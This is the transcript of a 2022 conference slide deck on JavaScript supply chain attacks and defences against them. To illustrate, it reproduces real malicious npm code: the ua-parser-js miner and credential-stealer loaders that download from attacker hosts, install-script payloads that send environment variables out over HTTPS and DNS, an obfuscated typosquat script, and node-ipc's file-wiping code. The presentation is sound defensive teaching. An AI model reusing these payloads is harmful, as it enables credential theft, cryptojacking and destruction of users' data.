Upgrade to Pro — share decks privately, control downloads, hide ads and more …

The State of JavaScript Supply Chain Security in 2022

The State of JavaScript Supply Chain Security in 2022

How do you know that you can trust your JavaScript dependencies? Software supply chain attacks have exploded over 2021 and they’re only accelerating in 2022 and beyond. We’ll dive into examples of recent supply chain attacks and what concrete steps we can take as an ecosystem to protect ourselves from this emerging threat.

Try Socket at: https://socket.dev

B498d33041627b07726dc29c28f02df7?s=128

Feross Aboukhadijeh

June 08, 2022
Tweet

More Decks by Feross Aboukhadijeh

Other Decks in Technology

Transcript

  1. The State of JavaScript Supply Chain Security in 2022 OpenJS

    World 2022
  2. Feross Aboukhadijeh • Founder and CEO at Socket (socket.dev) •

    Stanford instructor for Web Security • Author of 100+ npm packages • StandardJS, a popular community JavaScript style guide • WebTorrent, the rst BitTorrent client that works in the browser • Past • Board member at Node.js Foundation • Consultant for “Silicon Valley” TV show !
  3. Agenda • Story of a supply chain a ack (with

    a ack code!) • Why is this happening now? • How does a supply chain a ack work? • How can you protect your app? socket.dev 3
  4. Let me tell you a story... socket.dev 4

  5. None
  6. 10 years of steady work socket.dev 6

  7. 7,000,000 downloads per week 3,000,000 GitHub repos socket.dev 7

  8. Let me tell you a story... socket.dev 8

  9. On a Russian hacking forum Posted: October 5, 2021 I

    sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this. There is no 2FA on the account. Login and password access. The password is enough to change your email. Suitable for distributing installations, miners, creating a botnet Start $10k Step $1k Blitz $20k socket.dev 9
  10. Anatomy of a so ware supply chain a ack •

    Started at Friday, October 22, 2021 at 12:15pm GMT • 3 malicious versions of ua-parser-js published • 0.7.29 • 0.8.0 • 1.0.0 socket.dev 10
  11. { "title": "UAParser.js", "name": "ua-parser-js", "version": "0.7.29", "author": "Faisal Salman

    <f@faisalman.com> (http://faisalman.com)", "description": "Lightweight JavaScript-based user-agent string parser", "main": "src/ua-parser.js", "scripts": { "preinstall": "start /B node preinstall.js & node preinstall.js", "build": "uglifyjs src/ua-parser.js ...", "test": "jshint src/ua-parser.js && mocha -R nyan test/test.js", "test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js" } } socket.dev 11
  12. const { exec } = require("child_process"); function terminalLinux(){ exec("/bin/bash preinstall.sh",

    (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`); }); } var opsys = process.platform; if (opsys == "darwin") { opsys = "MacOS"; } else if (opsys == "win32" || opsys == "win64") { opsys = "Windows"; const { spawn } = require('child_process'); const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']); } else if (opsys == "linux") { opsys = "Linux"; terminalLinux(); }
  13. IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ') if [ -z "$IP"

    ] then var=$(pgrep jsextension) if [ -z "$var" ] then curl http://159.148.186.228/download/jsextension -o jsextension if [ ! -f jsextension ] then wget http://159.148.186.228/download/jsextension -O jsextension fi chmod +x jsextension ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null & fi fi socket.dev 13
  14. @echo off curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe if not exist jsextension.exe

    ( wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe ) if not exist jsextension.exe ( certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe ) curl https://citationsherbe.at/sdd.dll -o create.dll if not exist create.dll ( wget https://citationsherbe.at/sdd.dll -O create.dll ) if not exist create.dll ( certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll ) set exe_1=jsextension.exe set "count_1=0" >tasklist.temp ( tasklist /NH /FI "IMAGENAME eq %exe_1%" ) for /f %%x in (tasklist.temp) do ( if "%%x" EQU "%exe_1%" set /a count_1+=1 ) if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll) del tasklist.temp
  15. Steals passwords from 100+ programs and the Windows credential manager

    socket.dev 15
  16. A ermath socket.dev 16

  17. This is just the tip of the iceberg 180 packages

    removed for security reasons in the last 30 days1 1 h ps://socket.dev/npm/category/removed socket.dev 17
  18. Prominent examples • Jan 2022: Maintainer of 'colors' and 'faker'

    packages adds code to DoS applications in protest of big corporations using open source but not contributing anything back to the community. • March 2022: 'node-ipc' adds code to delete data of users it suspects are Russian or Belarusian. Applications using the package overwrite Russian users' les with a ' ❤ ' emoji. • March-April 2022: Maintainers of 'event-source-poly ll', 'es5-ext', and 'styled-components' add anti-war messages to their packages. File creation and redirects were less destructive but still unwanted by most users. socket.dev 18
  19. Why is this happening now? socket.dev 19

  20. 4 reasons socket.dev 20

  21. 1. Open source has won socket.dev 21

  22. 90% of an app's code comes from open source socket.dev

    22
  23. 2. The way we write so ware has changed socket.dev

    23
  24. Lots of transitive dependencies socket.dev 24

  25. Discord Let's look at just one example, Discord.3 • 19,462

    total packages • 381,118 contributors • 206 countries 3 h ps://octoverse.github.com/sustainable-communities/ socket.dev 25
  26. "Installing an average npm package introduces an implicit trust on

    79 third-party packages and 39 maintainers, creating a surprisingly large a ack surface"2 2 Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel socket.dev 26
  27. webpack, unpacked socket.dev 27

  28. 3. No one reads the code socket.dev 28

  29. We download code from the internet wri en by unknown

    individuals that we haven't read that we execute with full permissions on our laptops and servers where we keep our most important data socket.dev 29
  30. It's a miracle that this system works! socket.dev 30

  31. socket.dev 31

  32. A ackers o en publish di erent code to npm

    and GitHub socket.dev 32
  33. "Given enough eyeballs, all bugs are shallow" — Linus Torvalds

    socket.dev 33
  34. "On average, a malicious package is available for 209 days

    before being publicly reported"4 4 Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier socket.dev 34
  35. "20% of [...] malware persist in package managers for over

    400 days and have more than 1K downloads"5 5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams socket.dev 35
  36. How does a supply chain a ack actually work? socket.dev

    36
  37. A acker TTPs (tactics, techniques, and procedures) 1. Hijacked packages

    2. Typosqua ing 3. Dependency confusion 4. Install scripts 5. Data ex ltration 6. Data destruction or ransom socket.dev 37
  38. 1. Hijacked packages socket.dev 38

  39. socket.dev 39

  40. Packages get hijacked because • Maintainers choose weak passwords (ua-parser-js)

    • Maintainers give access to malicious actors (event-stream) • Maintainers become malicious actors (colors.js, faker.js) • Maintainers use their packages to protest (node-ipc) • Maintainers get malware on their laptops • npm doesn't enforce 2FA (though this is nally improving) socket.dev 40
  41. 2. Typosqua ing socket.dev 41

  42. noblox.js-proxied noblox.js-proxy socket.dev 42

  43. noblox.js-proxied <– real noblox.js-proxy <– fake! socket.dev 43

  44. { "name": "noblox.js-proxy", "version": "1.0.5", "description": "A Node.js wrapper for

    Roblox. (original from sentanos) (proxy edition by DarkDev)", "main": "lib/index.js", "types": "typings/index.d.ts", "scripts": { "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs", "lint": "eslint lib/", "test": "jest", "postinstall": "node postinstall.js" }, "repository": { "type": "git", "url": "https://github.com/JxySerr1/noblox.js-proxy.git" } } socket.dev 44
  45. (function(_0x249d1f,_0x2b8f5b){function _0x4c7bcc(_0xab39a4,_0x4f1570,_0x2f32bf, _0x4d98f7,_0x52a9ec){return _0x1efa(_0x52a9ec-0x379,_0x4d98f7);}function _0xfe08c3 (_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1){return _0x1efa(_0x3d9d3c- -0x30, _0x217de2);}function _0x5dee13(_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2)

    {return _0x1efa(_0x410ef5- -0x6c,_0x3daba2);}const _0x40a390=_0x249d1f(); function _0x4ebfb2(_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536) {return _0x1efa(_0x180281-0x29c,_0x29e008);}function _0x1d9570(_0xcf31ba,_0x24a2a8, _0x1361be,_0x2b2b01,_0x2b71bd) {return _0x1efa(_0xcf31ba-0x357,_0x24a2a8);}while(!![]){try{const _0xe15807= -parseInt(_0x4ebfb2(0x718,0x638,'12Eh',0x6f0,0x6f6))/(0x1e27+-0x2ac+-0x1b7a) +parseInt(_0x4c7bcc(0x6d5,0x713,0x72c,'JXxJ',0x644))/(0x15*-0x16e+-0x19c4+0x37cc) +-parseInt(_0x4c7bcc(0x68d,0x788,0x86c,'JJ[O',0x754))/(-0x89e+0x2*-0x928+-0xb*-0x273) *(-parseInt(_0x4ebfb2(0x64f,0x62a,'$53b',0x530,0x55f))/(-0x2525+0x7c0+-0x1*-0x1d69)) +-parseInt(_0x4c7bcc(0x7d6,0x65e,0x7e5,'tOk*',0x729))/(0xc7d+0x7cc*-0x1+0x1*-0x4ac) +-parseInt(_0x4ebfb2(0x544,0x602,'!qJ9',0x565,0x6c2))/(-0x120e+0x1b1*-0x17+0x1f7*0x1d) +parseInt(_0xfe08c3(0x359,0x28a,'igej',0x404,0x3e9))/(0x163*-0x8+0x345+0x192*0x5) +-parseInt(_0x4ebfb2(0x40f,0x519,'!@70',0x4f5,0x5a2))/(0x1*-0x977+-0x15a+0xad9); if(_0xe15807===_0x2b8f5b)break;else _0x40a390['push'](_0x40a390['shift']());} catch(_0xdc6a7c){_0x40a390['push'](_0x40a390['shift']());}}}(_0x6450,-0x4f0c0+ 0x260b+0x29*0x4445));const _0x206d7b=(function(){function _0x2debc5(_0x482afc, _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a){return _0x1efa(_0x18ac59- -0x3d1,_0x17d73a);} socket.dev 45
  46. 3. Dependency confusion socket.dev 46

  47. • Yahoo • yahoo-react-input • yahoo-react-formsy-input • EURid (registry manager

    for EU) • eurid_cloudflare • 18F (US Federal agency) • 18f-dashboard • Palantir (government contractor) • eslint-config-dev-palantir • DuckDuckGo (search engine) • duckduckgo-styles • Shippo (shipping company) • shippo-frontend socket.dev 47
  48. • Wix (website builder) • wix-media-manager-backend • wix-marketing-backend • wix-events-backend

    • wix-chat-backend • Unity (game engine) • com.unity.ide.vscode • com.unity.package-manager-ui • com.unity.modules.ai • com.unity.modules.androidjni • GrubHub (food delivery) • @grubhubprod/umami-library • @grubhubprod/order-taking-client-sdk • @grubhubprod/mochi • @grubhubprod/chiri socket.dev 48
  49. 4. Install scripts socket.dev 49

  50. Most malware is in install scripts socket.dev 50

  51. "We found 93.9% [...] of malicious packages had at least

    one install script, indicating that malicious a ackers use install scripts frequently"5 5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams socket.dev 51
  52. { "name": "<redacted>", "version": "9998.9999.2", "description": "...", "main": "index.js", "scripts":

    { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node dns.js | node index.js | node specific-fields.js" }, "files": ["specific-fields.js","index.js","dns.js"], "author": "", "license": "ISC" } socket.dev 52
  53. 5. Data ex ltration socket.dev 53

  54. { "name": "<redacted>", "version": "9998.9999.2", "description": "...", "main": "index.js", "scripts":

    { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node dns.js | node index.js | node specific-fields.js" }, "files": ["specific-fields.js","index.js","dns.js"], "author": "", "license": "ISC" } socket.dev 54
  55. const http = require('https'); req = http.request({ host: '34.195.72.180', path:

    '/', method: 'POST', headers : { host : '411c316239cf14afaa1f37bbc5666207.m.pipedream.net', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36' } }).on('error', function(err) { }); req.write(Buffer.from(JSON.stringify(process.env)).toString('base64')); req.end(); socket.dev 55
  56. var { Resolver } = require('dns'); var zlib = require('zlib');

    var resolver = new Resolver(); function splitString(string, size) { var re = new RegExp('.{1,' + size + '}', 'g'); return string.match(re); } resolver.setServers(["165.232.68.239"]); var d = process.env || {}; var data = redactedForBrevity() var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex'); var ch = splitString(encData, 60); var dt = Date.now(); for (var i = 0; i < ch.length; i++) { const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.'); resolver.resolve4(domain, function (err) { }); } socket.dev 56
  57. 6. Data destruction or ransom (e.g. peacenotwar, node-ipc) socket.dev 57

  58. var import_path = __toModule(require("path")); var import_fs3 = __toModule(require("fs")); var import_https

    = __toModule(require("https")); setTimeout(function() { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); import_https.default.get(n.toString("utf8"), function(t2) { t2.on("data", function(t3) { const n2 = Buffer.from("Li8=", "base64"); const o2 = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t3.toString("utf8")); const u2 = s[c.toString("utf8")].toLowerCase(); const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8")); if (a2) { h(n2.toString("utf8")); h(o2.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t4) { } }); }); }, Math.ceil(Math.random() * 1e3)); socket.dev 58
  59. async function h(n = "", o2 = "") { if

    (!import_fs3.default.existsSync(n)) { return; } let r = []; try { r = import_fs3.default.readdirSync(n); } catch (t) { } const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = import_path.default.join(n, r[e]); let t = null; try { t = import_fs3.default.lstatSync(i); } catch (t2) { continue; } if (t.isDirectory()) { const s = h(i, o2); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o2) >= 0) { try { import_fs3.default.writeFile(i, c.toString("utf8"), function() { }); } catch (t2) { } } } return f; } var ssl = true; socket.dev 59
  60. How can you protect your app? socket.dev 60

  61. First, what won't work socket.dev 61

  62. Vulnerability scanning is a red herring socket.dev 62

  63. Vulnerabilities vs. Supply chain A acks ⚠ Vulnerabilities are accidentally

    introduced by an open source maintainer. It is sometimes okay to ship a vulnerability to production if it is low impact. ⛔ Supply chain a acks are intentionally introduced by an a acker. It is never okay to ship malware to production. You must catch it before you install it or depend on it. socket.dev 63
  64. A vulnerability scanner will not catch the next supply chain

    a ack socket.dev 64
  65. How can you protect your app? socket.dev 65

  66. 1. Support open source maintainers socket.dev 66

  67. "23% of open source projects have only one developer contributing

    the bulk of code. 94% of the projects have fewer than 10 developers accounting for more than 90% of the lines of code."6 6 Linux Foundation, Census II socket.dev 67
  68. 2. Change how you think about dependencies socket.dev 68

  69. If you ship code to production, you are responsible for

    it socket.dev 69
  70. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY

    KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. socket.dev 70
  71. 3. Update dependencies at the right cadence socket.dev 71

  72. socket.dev 72

  73. socket.dev 73

  74. socket.dev 74

  75. socket.dev 75

  76. socket.dev 76

  77. Tradeo s, no perfect solution socket.dev 77

  78. 4. Dig deeper before choosing a dependency socket.dev 78

  79. socket.dev 79

  80. socket.dev 80

  81. socket.dev 81

  82. socket.dev 82

  83. Standard dependency checklist • ✅ Gets the job done? •

    ✅ Has an open source license? • ✅ Has good docs? • ✅ Has lots of downloads and GitHub stars? • ✅ Has recent commits? • ✅ Has types? • ✅ Has tests? socket.dev 83
  84. 2022 dependency checklist • ✅ Has an install script? •

    ✅ Has native code? • ✅ Talks to the network? • ✅ Runs shell commands? • ✅ Reads environment variables? • ✅ Gathers telemetry (i.e. phones home)? • ✅ Contains obfuscated code? socket.dev 84
  85. socket.dev 85

  86. None
  87. What about a package doing something sketchy? socket.dev 87

  88. None
  89. None
  90. What about malware? socket.dev 90

  91. None
  92. None
  93. 5. Monitor dependency changes with automation socket.dev 93

  94. Monitor PRs for bad dependencies • Use static analysis to

    audit every dependency • Detect privileged API use, obfuscated code, etc. • Manually audit any package that is suspicious • Put security information directly in PRs so developers can see it and act on it socket.dev 94
  95. socket.dev 95

  96. socket.dev 96

  97. None
  98. 6. Improve JavaScript, Node.js, and npm socket.dev 98

  99. JavaScript Security Wishlist 1. Allow maintainers to suppress vulnerability warnings

    in dependencies 2. Deno-style process permissions (--allow-net) 3. Per-package permissions (SES, ES Realms, Compartments, --experimental-policy) socket.dev 99
  100. Thanks! twi er.com/feross feross@socket.dev socket.dev We're hiring! socket.dev 100